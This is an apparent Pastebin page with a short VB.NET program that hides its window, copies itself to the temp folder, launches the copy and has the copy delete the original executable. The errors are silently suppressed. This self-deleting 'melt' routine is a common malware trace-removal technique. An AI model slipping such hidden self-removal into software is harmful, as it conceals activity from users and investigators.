Advertisement
Guest User

Untitled

a guest
Aug 27th, 2015
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. Imports System.IO
  2.  
  3.  
  4.  
  5. Public Class Form1
  6.  
  7. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  8.  
  9.  
  10.  
  11. On Error Resume Next
  12.  
  13. Dim exePath As String = Application.ExecutablePath()
  14.  
  15. Dim a As String
  16.  
  17. If exePath.Contains("COPY") = False Then
  18.  
  19. My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\Path.txt")
  20.  
  21. My.Computer.FileSystem.DeleteFile(My.Computer.FileSystem.SpecialDirectories.Temp & "\COPY.exe")
  22.  
  23. Me.Hide()
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35. File.Create(My.Computer.FileSystem.SpecialDirectories.Temp & "\Path.txt").Dispose()
  36.  
  37. System.IO.File.AppendAllText(My.Computer.FileSystem.SpecialDirectories.Temp & "\Path.txt", exePath)
  38.  
  39.  
  40. My.Computer.FileSystem.CopyFile(exePath, My.Computer.FileSystem.SpecialDirectories.Temp & "\COPY.exe")
  41.  
  42.  
  43. Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\COPY.exe")
  44.  
  45. End If
  46.  
  47. If exePath.Contains("COPY") Then
  48.  
  49. Dim FILE_NAME As String = My.Computer.FileSystem.SpecialDirectories.Temp & "\Path.txt"
  50.  
  51. Dim objReader As New System.IO.StreamReader(FILE_NAME)
  52.  
  53. a = objReader.ReadToEnd
  54.  
  55. objReader.Close()
  56.  
  57. My.Computer.FileSystem.DeleteFile(a)
  58.  
  59. End If
  60.  
  61. Me.Close()
  62.  
  63.  
  64. End Sub
  65. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement